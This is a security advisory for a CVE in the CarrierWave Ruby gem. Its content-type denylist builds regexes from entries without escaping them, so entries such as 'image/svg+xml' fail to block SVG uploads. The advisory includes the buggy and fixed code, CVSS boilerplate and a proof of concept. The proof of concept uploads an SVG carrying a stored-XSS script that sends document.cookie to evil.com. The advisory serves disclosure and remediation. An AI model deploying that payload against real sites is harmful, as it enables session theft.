CVE-2026-44587

ADVISORY - github

Summary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end
bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Common Weakness Enumeration (CWE)

ADVISORY - github

Improper Encoding or Escaping of Output


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.8

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

4.7medium
PackageTypeOS NameOS VersionAffected RangesFix Versions
carrierwavegem--<2.2.72.2.7
carrierwavegem-->=3.0.0.beta,<3.1.33.1.3

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

There is no loss of trust or accuracy within the impacted component.

There is no impact to availability within the impacted component.